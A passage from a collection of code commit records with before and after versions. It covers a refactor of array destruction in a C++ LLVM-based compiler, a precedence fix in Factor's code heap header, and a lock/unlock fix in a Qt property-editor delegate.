NULL, false))\n                        );\n                builder.CreateStore(pr->value, new_ptr2);\n                actual_value = new_ptr2;\n            }\n        }\n\n        for (i = (pr->type->array_size - 1); i >= 0; i--) {\n            ParseResult temp;\n            temp.type  = mine;\n            temp.block = mbl;\n            std::vector<llvm::Value *> indices;\n            STL::push_back2(&indices,\n                            ctx->nt->getLLVMZero(),\n                            llvm::cast<llvm::Value>(\n                                llvm::ConstantInt::get(\n                                    ctx->nt->getNativeIntType(),\n                                    i\n                                )\n                            ));\n            ParseResult mnew;\n\n            if (builder) {\n                llvm::Value *res = builder->Insert(\n                                       llvm::GetElementPtrInst::Create(\n                                           actual_value,\n                                           llvm::ArrayRef<llvm::Value*>(indices)\n                                       ),\n                                       \"asdf\"\n                                   );\n                if (!mine->is_array) {\n                    temp.value = builder->CreateLoad(res);\n                } else {\n                    temp.value = res;\n                }\n                Destruct(ctx, &temp, &mnew, builder);\n            }\n            else {\n                llvm::IRBuilder<> builder(mbl);\n                llvm::Value *res = builder.Insert(\n                                       llvm::GetElementPtrInst::Create(\n                                           actual_value,\n                                           llvm::ArrayRef<llvm::Value*>(indices)\n                                       ),\n                                       \"asdf\"\n                                   );\n                if (!mine->is_array) {\n                    temp.value = builder.CreateLoad(res);\n                } else {\n                    temp.value = res;\n                }\n                Destruct(ctx, &temp, &mnew, &builder);\n            }\n            mbl = mnew.block;\n        }\n        pr_ret->block = mbl;\n        return true;\n    }\n\n    std::vector<Type *> types;\n    types.push_back(ctx->tr->getPointerType(pr->type));\n    Function *fn = ctx->getFunction(\"destroy\", &types,\n                            NULL, 0);\n    if (!fn) {\n        \/* If this is a struct, call Destruct on each of the elements,\n         * in the absence of a destructor for the struct as a whole.\n         * *\/\n        Type *type = pr->type;\n        if (type->struct_name.size()) {\n            Struct *st = ctx->getStruct(type->struct_name.c_str(),\n                                                 &(type->namespaces));\n            std::vector<Type*> *st_types = &(st->member_types);\n            int i = 0;\n            llvm::Value *actual_value = pr->value;\n\n            if (!value_is_ptr) {\n                if (builder) {\n                    llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                            builder->CreateAlloca(\n                                ctx->toLLVMType(pr->type, NULL, false))\n                            );\n                    builder->CreateStore(pr->value, new_ptr2);\n                    actual_value = new_ptr2;\n                } else {\n                    llvm::IRBuilder<> builder(pr->block);\n                    llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                            builder.CreateAlloca(\n                                ctx->toLLVMType(pr->type, NULL, false))\n                            );\n                    builder.CreateStore(pr->value, new_ptr2);\n                    actual_value = new_ptr2;\n                }\n            }\n\n            for (std::vector<Type*>::iterator\n                    b = st_types->begin(),\n                    e = st_types->end();\n                    b != e;\n                    ++b) {\n                ParseResult element;\n                ParseResult mnew;\n                std::string ts;\n                (*b)->toString(&ts);\n                element.set(pr->block, *b, actual_value);\n                std::vector<llvm::Value *> indices;\n                STL::push_back2(&indices,\n                                ctx->nt->getLLVMZero(),\n                                llvm::cast<llvm::Value>(\n                                    llvm::ConstantInt::get(\n                                        ctx->nt->getNativeIntType(),\n                                        i++\n                                    )\n                                ));\n                if (builder) {\n                    llvm::Value *res = \n                        builder->Insert(\n                            llvm::GetElementPtrInst::Create(\n                                actual_value,\n                                llvm::ArrayRef<llvm::Value*>(indices)\n                            ),\n                            \"asdf\"\n                        );\n                    element.value = res;\n                    Destruct(ctx, &element, &mnew, builder, true);\n                } else {\n                    llvm::IRBuilder<> builder(pr->block);\n                    llvm::Value *res = \n                        builder.Insert(\n                            llvm::GetElementPtrInst::Create(\n                                actual_value,\n                                llvm::ArrayRef<llvm::Value*>(indices)\n                            ),\n                            \"asdf\"\n                        );\n                    element.value = res;\n                    Destruct(ctx, &element, &mnew, &builder, true);\n                }\n            }\n        }\n        return true;\n    }\n    int destroy_builder = 0;\n    if (!builder) {\n        destroy_builder = 1;\n        builder = new llvm::IRBuilder<>(pr->block);\n    }\n    std::vector<llvm::Value *> call_args;\n    llvm::Value *new_ptr2;\n    if (value_is_ptr) {\n        new_ptr2 = pr->value;\n    } else {\n        new_ptr2 = llvm::cast<llvm::Value>(\n            builder->CreateAlloca(ctx->toLLVMType(pr->type, NULL, false))\n        );\n        builder->CreateStore(pr->value, new_ptr2);\n    }\n\n    call_args.push_back(new_ptr2);\n    builder->CreateCall(\n        fn->llvm_function,\n        llvm::ArrayRef<llvm::Value*>(call_args));\n    if (destroy_builder) {\n        delete builder;\n    }\n    return true;\n}\n}\n}\n<commit_msg>[master] tidying<commit_after>#include \"Destruct.h\"\n\nnamespace dale\n{\nnamespace Operation\n{\nFunction *\ngetDestructor(Context *ctx, Type *type) \n{\n    std::vector<Type *> types;\n    types.push_back(ctx->tr->getPointerType(type));\n    Function *fn = ctx->getFunction(\"destroy\", &types, NULL, 0);\n    return fn;\n}\n\nbool\ndestructArray(Context *ctx, ParseResult *pr, ParseResult *pr_ret,\n              llvm::IRBuilder<> *builder, bool value_is_ptr)\n{\n    Type *array_type = pr->type->array_type;\n    llvm::BasicBlock *block = pr->block;\n    llvm::Value *array_value = pr->value;\n\n    if (!array_value) {\n        return true;\n    }\n    if (!array_value->getType()) {\n        return true;\n    }\n\n    if (!array_type->is_array) {\n        Function *fn = getDestructor(ctx, array_type);\n        if (!fn) {\n            return true;\n        }\n    }\n\n    llvm::Type *llvm_array_type = ctx->toLLVMType(pr->type, NULL, false);\n\n    \/* Array literals are stored in the variable table as actual\n     * arrays, rather than pointers to arrays.  This should be fixed at\n     * some point, but for now, if this value is not a pointer, then\n     * store it in a temporary location. *\/\n\n    llvm::IRBuilder<> internal_builder(block);\n    if (!builder) {\n        builder = &internal_builder;\n    }\n\n    if (!pr->value->getType()->isPointerTy()) {\n        array_value = llvm::cast<llvm::Value>(\n            builder->CreateAlloca(llvm_array_type)\n        );\n        builder->CreateStore(pr->value, array_value);\n    }\n\n    for (int i = (pr->type->array_size - 1); i >= 0; i--) {\n        ParseResult temp;\n        temp.type  = array_type;\n        temp.block = block;\n        std::vector<llvm::Value *> indices;\n        STL::push_back2(&indices,\n                        ctx->nt->getLLVMZero(),\n                        llvm::cast<llvm::Value>(\n                            llvm::ConstantInt::get(\n                                ctx->nt->getNativeIntType(), i\n                            )\n                        ));\n        ParseResult mnew;\n\n        llvm::Value *res = builder->Insert(\n                                llvm::GetElementPtrInst::Create(\n                                    array_value,\n                                    llvm::ArrayRef<llvm::Value*>(indices)\n                                ),\n                                \"asdf\"\n                            );\n        if (!array_type->is_array) {\n            temp.value = builder->CreateLoad(res);\n        } else {\n            temp.value = res;\n        }\n        Destruct(ctx, &temp, &mnew, builder);\n    }\n\n    pr_ret->block = block;\n    return true;\n}\n\nbool\nDestruct(Context *ctx, ParseResult *pr, ParseResult *pr_ret,\n         llvm::IRBuilder<> *builder, bool value_is_ptr)\n{\n    pr->copyTo(pr_ret);\n\n    if (pr->do_not_destruct) {\n        return true;\n    }\n\n    assert(pr->type);\n\n    \/* If it's an array with a known size, call this function for\n     * each element in the array, in order from last to first. *\/\n    if (pr->type->is_array && pr->type->array_size) {\n        return destructArray(ctx, pr, pr_ret, builder, value_is_ptr);\n    }\n\n    Function *fn = getDestructor(ctx, pr->type);\n    if (!fn) {\n        \/* If this is a struct, call Destruct on each of the elements,\n         * in the absence of a destructor for the struct as a whole.\n         * *\/\n        Type *type = pr->type;\n        if (type->struct_name.size()) {\n            Struct *st = ctx->getStruct(type->struct_name.c_str(),\n                                                 &(type->namespaces));\n            std::vector<Type*> *st_types = &(st->member_types);\n            int i = 0;\n            llvm::Value *array_value = pr->value;\n\n            if (!value_is_ptr) {\n                if (builder) {\n                    llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                            builder->CreateAlloca(\n                                ctx->toLLVMType(pr->type, NULL, false))\n                            );\n                    builder->CreateStore(pr->value, new_ptr2);\n                    array_value = new_ptr2;\n                } else {\n                    llvm::IRBuilder<> builder(pr->block);\n                    llvm::Value *new_ptr2 = llvm::cast<llvm::Value>(\n                            builder.CreateAlloca(\n                                ctx->toLLVMType(pr->type, NULL, false))\n                            );\n                    builder.CreateStore(pr->value, new_ptr2);\n                    array_value = new_ptr2;\n                }\n            }\n\n            for (std::vector<Type*>::iterator\n                    b = st_types->begin(),\n                    e = st_types->end();\n                    b != e;\n                    ++b) {\n                ParseResult element;\n                ParseResult mnew;\n                std::string ts;\n                (*b)->toString(&ts);\n                element.set(pr->block, *b, array_value);\n                std::vector<llvm::Value *> indices;\n                STL::push_back2(&indices,\n                                ctx->nt->getLLVMZero(),\n                                llvm::cast<llvm::Value>(\n                                    llvm::ConstantInt::get(\n                                        ctx->nt->getNativeIntType(),\n                                        i++\n                                    )\n                                ));\n                if (builder) {\n                    llvm::Value *res = \n                        builder->Insert(\n                            llvm::GetElementPtrInst::Create(\n                                array_value,\n                                llvm::ArrayRef<llvm::Value*>(indices)\n                            ),\n                            \"asdf\"\n                        );\n                    element.value = res;\n                    Destruct(ctx, &element, &mnew, builder, true);\n                } else {\n                    llvm::IRBuilder<> builder(pr->block);\n                    llvm::Value *res = \n                        builder.Insert(\n                            llvm::GetElementPtrInst::Create(\n                                array_value,\n                                llvm::ArrayRef<llvm::Value*>(indices)\n                            ),\n                            \"asdf\"\n                        );\n                    element.value = res;\n                    Destruct(ctx, &element, &mnew, &builder, true);\n                }\n            }\n        }\n        return true;\n    }\n    int destroy_builder = 0;\n    if (!builder) {\n        destroy_builder = 1;\n        builder = new llvm::IRBuilder<>(pr->block);\n    }\n    std::vector<llvm::Value *> call_args;\n    llvm::Value *new_ptr2;\n    if (value_is_ptr) {\n        new_ptr2 = pr->value;\n    } else {\n        new_ptr2 = llvm::cast<llvm::Value>(\n            builder->CreateAlloca(ctx->toLLVMType(pr->type, NULL, false))\n        );\n        builder->CreateStore(pr->value, new_ptr2);\n    }\n\n    call_args.push_back(new_ptr2);\n    builder->CreateCall(\n        fn->llvm_function,\n        llvm::ArrayRef<llvm::Value*>(call_args));\n    if (destroy_builder) {\n        delete builder;\n    }\n    return true;\n}\n}\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Reformat (tabs and C++ comments).<commit_after><|endoftext|>"}
{"text":"<commit_before>namespace factor\n{\n\n\/* The compiled code heap is structured into blocks. *\/\nstruct code_block\n{\n\tcell header;\n\tcell owner; \/* tagged pointer to word, quotation or f *\/\n\tcell parameters; \/* tagged pointer to array or f *\/\n\tcell relocation; \/* tagged pointer to byte-array or f *\/\n\n\tbool free_p() const\n\t{\n\t\treturn header & 1 == 1;\n\t}\n\n\tcode_block_type type() const\n\t{\n\t\treturn (code_block_type)((header >> 1) & 0x3);\n\t}\n\n\tvoid set_type(code_block_type type)\n\t{\n\t\theader = ((header & ~0x7) | (type << 1));\n\t}\n\n\tbool pic_p() const\n\t{\n\t\treturn type() == code_block_pic;\n\t}\n\n\tbool optimized_p() const\n\t{\n\t\treturn type() == code_block_optimized;\n\t}\n\n\tcell size() const\n\t{\n\t\treturn header & ~7;\n\t}\n\n\tvoid *xt() const\n\t{\n\t\treturn (void *)(this + 1);\n\t}\n\n\tvoid flush_icache()\n\t{\n\t\tfactor::flush_icache((cell)this,size());\n\t}\n\n\ttemplate<typename Iterator> void each_instruction_operand(Iterator &iter)\n\t{\n\t\tif(to_boolean(relocation))\n\t\t{\n\t\t\tbyte_array *rels = (byte_array *)UNTAG(relocation);\n\n\t\t\tcell index = 0;\n\t\t\tcell length = (rels->capacity >> TAG_BITS) \/ sizeof(relocation_entry);\n\n\t\t\tfor(cell i = 0; i < length; i++)\n\t\t\t{\n\t\t\t\trelocation_entry rel = rels->data<relocation_entry>()[i];\n\t\t\t\titer(instruction_operand(rel,this,index));\n\t\t\t\tindex += rel.number_of_parameters();\n\t\t\t}\n\t\t}\n\t}\n};\n\n}\n<commit_msg>fix compiler warning on linux<commit_after>namespace factor\n{\n\n\/* The compiled code heap is structured into blocks. *\/\nstruct code_block\n{\n\tcell header;\n\tcell owner; \/* tagged pointer to word, quotation or f *\/\n\tcell parameters; \/* tagged pointer to array or f *\/\n\tcell relocation; \/* tagged pointer to byte-array or f *\/\n\n\tbool free_p() const\n\t{\n\t\treturn (header & 1) == 1;\n\t}\n\n\tcode_block_type type() const\n\t{\n\t\treturn (code_block_type)((header >> 1) & 0x3);\n\t}\n\n\tvoid set_type(code_block_type type)\n\t{\n\t\theader = ((header & ~0x7) | (type << 1));\n\t}\n\n\tbool pic_p() const\n\t{\n\t\treturn type() == code_block_pic;\n\t}\n\n\tbool optimized_p() const\n\t{\n\t\treturn type() == code_block_optimized;\n\t}\n\n\tcell size() const\n\t{\n\t\treturn header & ~7;\n\t}\n\n\tvoid *xt() const\n\t{\n\t\treturn (void *)(this + 1);\n\t}\n\n\tvoid flush_icache()\n\t{\n\t\tfactor::flush_icache((cell)this,size());\n\t}\n\n\ttemplate<typename Iterator> void each_instruction_operand(Iterator &iter)\n\t{\n\t\tif(to_boolean(relocation))\n\t\t{\n\t\t\tbyte_array *rels = (byte_array *)UNTAG(relocation);\n\n\t\t\tcell index = 0;\n\t\t\tcell length = (rels->capacity >> TAG_BITS) \/ sizeof(relocation_entry);\n\n\t\t\tfor(cell i = 0; i < length; i++)\n\t\t\t{\n\t\t\t\trelocation_entry rel = rels->data<relocation_entry>()[i];\n\t\t\t\titer(instruction_operand(rel,this,index));\n\t\t\t\tindex += rel.number_of_parameters();\n\t\t\t}\n\t\t}\n\t}\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\nCopyright (c) 2012-2016 Alex Zhondin <lexxmark.dev@gmail.com>\nCopyright (c) 2015-2019 Alexandra Cherdantseva <neluhus.vagus@gmail.com>\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*******************************************************************************\/\n\n#include \"PropertyDelegate.h\"\n#include \"Utils\/PropertyEditorHandler.h\"\n#include \"PropertyView.h\"\n\nQtnPropertyDelegate::QtnPropertyDelegate(QtnPropertyBase &ownerProperty)\n\t: m_ownerProperty(&ownerProperty)\n\t, m_stateProperty(nullptr)\n{\n}\n\nQtnPropertyDelegate::~QtnPropertyDelegate()\n{\n\tif (m_editorHandler)\n\t\tm_editorHandler->cleanup();\n}\n\nvoid QtnPropertyDelegate::init()\n{\n\t\/\/ do nothing\n}\n\nQtnPropertyChangeReason QtnPropertyDelegate::editReason() const\n{\n\tQtnPropertyChangeReason result = QtnPropertyChangeReasonEditValue;\n\tif (stateProperty()->isMultiValue())\n\t\tresult |= QtnPropertyChangeReasonEditMultiValue;\n\treturn result;\n}\n\nvoid QtnPropertyDelegate::applySubPropertyInfo(\n\tconst QtnPropertyDelegateInfo &info, const QtnSubPropertyInfo &subInfo)\n{\n\tauto p = subProperty(subInfo.id);\n\tp->setName(subInfo.key);\n\tinfo.storeAttributeValue(subInfo.displayNameAttr, p,\n\t\t&QtnPropertyBase::displayName, &QtnPropertyBase::setDisplayName);\n\tinfo.storeAttributeValue(subInfo.descriptionAttr, p,\n\t\t&QtnPropertyBase::description, &QtnPropertyBase::setDescription);\n}\n\nint QtnPropertyDelegate::subPropertyCountImpl() const\n{\n\treturn 0;\n}\n\nQtnPropertyBase *QtnPropertyDelegate::subPropertyImpl(int index)\n{\n\tQ_UNUSED(index);\n\treturn nullptr;\n}\n\nvoid QtnPropertyDelegate::applyAttributesImpl(\n\tconst QtnPropertyDelegateInfo &info)\n{\n\tQ_UNUSED(info);\n}\n\nQStyle::State QtnPropertyDelegate::state(\n\tbool isActive, const QtnSubItem &subItem) const\n{\n\tauto subState = subItem.state();\n\tQStyle::State state = QStyle::State_Active;\n\tif (stateProperty()->isEditableByUser())\n\t\tstate |= QStyle::State_Enabled;\n\tif (isActive)\n\t{\n\t\tstate |= QStyle::State_Selected;\n\t\tstate |= QStyle::State_HasFocus;\n\t}\n\n\tif (subState == QtnSubItemStateUnderCursor)\n\t\tstate |= QStyle::State_MouseOver;\n\telse if (subState == QtnSubItemStatePushed)\n\t\tstate |= QStyle::State_Sunken;\n\n\treturn state;\n}\n\nvoid QtnPropertyDelegate::addSubItemLock(\n\tQtnDrawContext &context, QList<QtnSubItem> &subItems)\n{\n\tif (!stateProperty()->isUnlockable())\n\t{\n\t\treturn;\n\t}\n\n\tQtnSubItem item(context.rect.marginsRemoved(context.margins));\n\titem.rect.setWidth(item.rect.height());\n\tcontext.margins.setLeft(context.margins.left() + item.rect.height() +\n\t\tcontext.widget->valueLeftMargin());\n\n\titem.setTextAsTooltip(stateProperty()->isWritable()\n\t\t\t? QtnPropertyView::tr(\"Lock\")\n\t\t\t: QtnPropertyView::tr(\"Unlock\"));\n\n\titem.trackState();\n\n\tif (item.rect.isValid())\n\t{\n\t\titem.drawHandler = [this](QtnDrawContext &context,\n\t\t\t\t\t\t\t   const QtnSubItem &item) {\n\t\t\tdrawButton(context, item, QIcon(),\n\t\t\t\tstateProperty()->isWritable()\n\t\t\t\t\t? QString::fromUtf8(\"\\xF0\\x9F\\x94\\x93\")\n\t\t\t\t\t: QString::fromUtf8(\"\\xF0\\x9F\\x94\\x92\"));\n\t\t};\n\n\t\titem.eventHandler = [this](QtnEventContext &context, const QtnSubItem &,\n\t\t\t\t\t\t\t\tQtnPropertyToEdit *) -> bool {\n\t\t\tif ((context.eventType() == QEvent::MouseButtonPress) ||\n\t\t\t\t(context.eventType() == QEvent::MouseButtonDblClick))\n\t\t\t{\n\t\t\t\tproperty()->toggleState(QtnPropertyStateImmutable);\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn false;\n\t\t};\n\n\t\tsubItems.append(item);\n\t}\n}\n\nQColor QtnPropertyDelegate::disabledTextColor(const QStylePainter &painter)\n{\n\treturn painter.style()->standardPalette().color(\n\t\tQPalette::Disabled, QPalette::Text);\n}\n\nvoid QtnPropertyDelegate::addSubItemBranchNode(\n\tQtnDrawContext &context, QList<QtnSubItem> &subItems)\n{\n\tif (!context.hasChildren)\n\t\treturn;\n\n\tQtnSubItem brItem(context.rect.marginsRemoved(context.margins));\n\tbrItem.rect.setWidth(brItem.rect.height());\n\tcontext.margins.setLeft(context.margins.left() + brItem.rect.height());\n\tbrItem.trackState();\n\n\tif (!brItem.rect.isValid())\n\t\treturn;\n\n\tbrItem.drawHandler = [this](\n\t\t\t\t\t\t\t QtnDrawContext &context, const QtnSubItem &item) {\n\t\tauto &painter = *context.painter;\n\t\tQRectF branchRect = item.rect;\n\t\tqreal side = branchRect.height() \/ qreal(3.5);\n\t\tQColor fillClr = context.palette().color(QPalette::Text);\n\t\tQColor outlineClr = (item.state() != QtnSubItemStateNone)\n\t\t\t? Qt::blue\n\t\t\t: context.palette().color(QPalette::Text);\n\n\t\tpainter.save();\n\t\tpainter.setPen(outlineClr);\n\n\t\tQPainterPath branchPath;\n\t\tif (stateProperty()->isCollapsed())\n\t\t{\n\t\t\tbranchPath.moveTo(\n\t\t\t\tbranchRect.left() + side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(branchRect.right() - side - 1,\n\t\t\t\tbranchRect.top() + branchRect.height() \/ qreal(2.0));\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.left() + side, branchRect.bottom() - side);\n\t\t\tbranchPath.closeSubpath();\n\t\t} else\n\t\t{\n\t\t\tbranchPath.moveTo(\n\t\t\t\tbranchRect.left() + side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.right() - side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.left() + branchRect.width() \/ qreal(2.0),\n\t\t\t\tbranchRect.bottom() - side - 1);\n\t\t\tbranchPath.closeSubpath();\n\t\t}\n\n\t\tif (painter.testRenderHint(QPainter::Antialiasing))\n\t\t{\n\t\t\tpainter.fillPath(branchPath, fillClr);\n\t\t\tpainter.drawPath(branchPath);\n\t\t} else\n\t\t{\n\t\t\tpainter.setRenderHint(QPainter::Antialiasing, true);\n\t\t\tpainter.fillPath(branchPath, fillClr);\n\t\t\tpainter.drawPath(branchPath);\n\t\t\tpainter.setRenderHint(QPainter::Antialiasing, false);\n\t\t}\n\n\t\tpainter.restore();\n\t};\n\n\tbrItem.eventHandler = [this](QtnEventContext &context, const QtnSubItem &,\n\t\t\t\t\t\t\t  QtnPropertyToEdit *) -> bool {\n\t\tif ((context.eventType() == QEvent::MouseButtonPress) ||\n\t\t\t(context.eventType() == QEvent::MouseButtonDblClick))\n\t\t{\n\t\t\tstateProperty()->toggleState(QtnPropertyStateCollapsed);\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t};\n\n\tbrItem.tooltipHandler = [this](QtnEventContext &,\n\t\t\t\t\t\t\t\tconst QtnSubItem &) -> QString {\n\t\treturn (stateProperty()->isCollapsed())\n\t\t\t? QtnPropertyView::tr(\"Click to expand\")\n\t\t\t: QtnPropertyView::tr(\"Click to collapse\");\n\t};\n\n\tsubItems.append(brItem);\n}\n<commit_msg>fix lock\/unlock<commit_after>\/*******************************************************************************\nCopyright (c) 2012-2016 Alex Zhondin <lexxmark.dev@gmail.com>\nCopyright (c) 2015-2019 Alexandra Cherdantseva <neluhus.vagus@gmail.com>\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*******************************************************************************\/\n\n#include \"PropertyDelegate.h\"\n#include \"Utils\/PropertyEditorHandler.h\"\n#include \"PropertyView.h\"\n\nQtnPropertyDelegate::QtnPropertyDelegate(QtnPropertyBase &ownerProperty)\n\t: m_ownerProperty(&ownerProperty)\n\t, m_stateProperty(nullptr)\n{\n}\n\nQtnPropertyDelegate::~QtnPropertyDelegate()\n{\n\tif (m_editorHandler)\n\t\tm_editorHandler->cleanup();\n}\n\nvoid QtnPropertyDelegate::init()\n{\n\t\/\/ do nothing\n}\n\nQtnPropertyChangeReason QtnPropertyDelegate::editReason() const\n{\n\tQtnPropertyChangeReason result = QtnPropertyChangeReasonEditValue;\n\tif (stateProperty()->isMultiValue())\n\t\tresult |= QtnPropertyChangeReasonEditMultiValue;\n\treturn result;\n}\n\nvoid QtnPropertyDelegate::applySubPropertyInfo(\n\tconst QtnPropertyDelegateInfo &info, const QtnSubPropertyInfo &subInfo)\n{\n\tauto p = subProperty(subInfo.id);\n\tp->setName(subInfo.key);\n\tinfo.storeAttributeValue(subInfo.displayNameAttr, p,\n\t\t&QtnPropertyBase::displayName, &QtnPropertyBase::setDisplayName);\n\tinfo.storeAttributeValue(subInfo.descriptionAttr, p,\n\t\t&QtnPropertyBase::description, &QtnPropertyBase::setDescription);\n}\n\nint QtnPropertyDelegate::subPropertyCountImpl() const\n{\n\treturn 0;\n}\n\nQtnPropertyBase *QtnPropertyDelegate::subPropertyImpl(int index)\n{\n\tQ_UNUSED(index);\n\treturn nullptr;\n}\n\nvoid QtnPropertyDelegate::applyAttributesImpl(\n\tconst QtnPropertyDelegateInfo &info)\n{\n\tQ_UNUSED(info);\n}\n\nQStyle::State QtnPropertyDelegate::state(\n\tbool isActive, const QtnSubItem &subItem) const\n{\n\tauto subState = subItem.state();\n\tQStyle::State state = QStyle::State_Active;\n\tif (stateProperty()->isEditableByUser())\n\t\tstate |= QStyle::State_Enabled;\n\tif (isActive)\n\t{\n\t\tstate |= QStyle::State_Selected;\n\t\tstate |= QStyle::State_HasFocus;\n\t}\n\n\tif (subState == QtnSubItemStateUnderCursor)\n\t\tstate |= QStyle::State_MouseOver;\n\telse if (subState == QtnSubItemStatePushed)\n\t\tstate |= QStyle::State_Sunken;\n\n\treturn state;\n}\n\nvoid QtnPropertyDelegate::addSubItemLock(\n\tQtnDrawContext &context, QList<QtnSubItem> &subItems)\n{\n\tif (!stateProperty()->isUnlockable())\n\t{\n\t\treturn;\n\t}\n\n\tQtnSubItem item(context.rect.marginsRemoved(context.margins));\n\titem.rect.setWidth(item.rect.height());\n\tcontext.margins.setLeft(context.margins.left() + item.rect.height() +\n\t\tcontext.widget->valueLeftMargin());\n\n\titem.setTextAsTooltip(stateProperty()->isWritable()\n\t\t\t? QtnPropertyView::tr(\"Lock\")\n\t\t\t: QtnPropertyView::tr(\"Unlock\"));\n\n\titem.trackState();\n\n\tif (item.rect.isValid())\n\t{\n\t\titem.drawHandler = [this](QtnDrawContext &context,\n\t\t\t\t\t\t\t   const QtnSubItem &item) {\n\t\t\tdrawButton(context, item, QIcon(),\n\t\t\t\tstateProperty()->isWritable()\n\t\t\t\t\t? QString::fromUtf8(\"\\xF0\\x9F\\x94\\x93\")\n\t\t\t\t\t: QString::fromUtf8(\"\\xF0\\x9F\\x94\\x92\"));\n\t\t};\n\n\t\titem.eventHandler = [this](QtnEventContext &context, const QtnSubItem &,\n\t\t\t\t\t\t\t\tQtnPropertyToEdit *) -> bool {\n\t\t\tif ((context.eventType() == QEvent::MouseButtonPress) ||\n\t\t\t\t(context.eventType() == QEvent::MouseButtonDblClick))\n\t\t\t{\n\t\t\t\tstateProperty()->toggleState(QtnPropertyStateImmutable);\n\t\t\t\tproperty()->switchState(\n\t\t\t\t\tQtnPropertyStateImmutable, !stateProperty()->isWritable());\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn false;\n\t\t};\n\n\t\tsubItems.append(item);\n\t}\n}\n\nQColor QtnPropertyDelegate::disabledTextColor(const QStylePainter &painter)\n{\n\treturn painter.style()->standardPalette().color(\n\t\tQPalette::Disabled, QPalette::Text);\n}\n\nvoid QtnPropertyDelegate::addSubItemBranchNode(\n\tQtnDrawContext &context, QList<QtnSubItem> &subItems)\n{\n\tif (!context.hasChildren)\n\t\treturn;\n\n\tQtnSubItem brItem(context.rect.marginsRemoved(context.margins));\n\tbrItem.rect.setWidth(brItem.rect.height());\n\tcontext.margins.setLeft(context.margins.left() + brItem.rect.height());\n\tbrItem.trackState();\n\n\tif (!brItem.rect.isValid())\n\t\treturn;\n\n\tbrItem.drawHandler = [this](\n\t\t\t\t\t\t\t QtnDrawContext &context, const QtnSubItem &item) {\n\t\tauto &painter = *context.painter;\n\t\tQRectF branchRect = item.rect;\n\t\tqreal side = branchRect.height() \/ qreal(3.5);\n\t\tQColor fillClr = context.palette().color(QPalette::Text);\n\t\tQColor outlineClr = (item.state() != QtnSubItemStateNone)\n\t\t\t? Qt::blue\n\t\t\t: context.palette().color(QPalette::Text);\n\n\t\tpainter.save();\n\t\tpainter.setPen(outlineClr);\n\n\t\tQPainterPath branchPath;\n\t\tif (stateProperty()->isCollapsed())\n\t\t{\n\t\t\tbranchPath.moveTo(\n\t\t\t\tbranchRect.left() + side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(branchRect.right() - side - 1,\n\t\t\t\tbranchRect.top() + branchRect.height() \/ qreal(2.0));\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.left() + side, branchRect.bottom() - side);\n\t\t\tbranchPath.closeSubpath();\n\t\t} else\n\t\t{\n\t\t\tbranchPath.moveTo(\n\t\t\t\tbranchRect.left() + side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.right() - side, branchRect.top() + side);\n\t\t\tbranchPath.lineTo(\n\t\t\t\tbranchRect.left() + branchRect.width() \/ qreal(2.0),\n\t\t\t\tbranchRect.bottom() - side - 1);\n\t\t\tbranchPath.closeSubpath();\n\t\t}\n\n\t\tif (painter.testRenderHint(QPainter::Antialiasing))\n\t\t{\n\t\t\tpainter.fillPath(branchPath, fillClr);\n\t\t\tpainter.drawPath(branchPath);\n\t\t} else\n\t\t{\n\t\t\tpainter.setRenderHint(QPainter::Antialiasing, true);\n\t\t\tpainter.fillPath(branchPath, fillClr);\n\t\t\tpainter.drawPath(branchPath);\n\t\t\tpainter.setRenderHint(QPainter::Antialiasing, false);\n\t\t}\n\n\t\tpainter.restore();\n\t};\n\n\tbrItem.eventHandler = [this](QtnEventContext &context, const QtnSubItem &,\n\t\t\t\t\t\t\t  QtnPropertyToEdit *) -> bool {\n\t\tif ((context.eventType() == QEvent::MouseButtonPress) ||\n\t\t\t(context.eventType() == QEvent::MouseButtonDblClick))\n\t\t{\n\t\t\tstateProperty()->toggleState(QtnPropertyStateCollapsed);\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t};\n\n\tbrItem.tooltipHandler = [this](QtnEventContext &,\n\t\t\t\t\t\t\t\tconst QtnSubItem &) -> QString {\n\t\treturn (stateProperty()->isCollapsed())\n\t\t\t? QtnPropertyView::tr(\"Click to expand\")\n\t\t\t: QtnPropertyView::tr(\"Click to collapse\");\n\t};\n\n\tsubItems.append(brItem);\n}\n<|endoftext|>"}
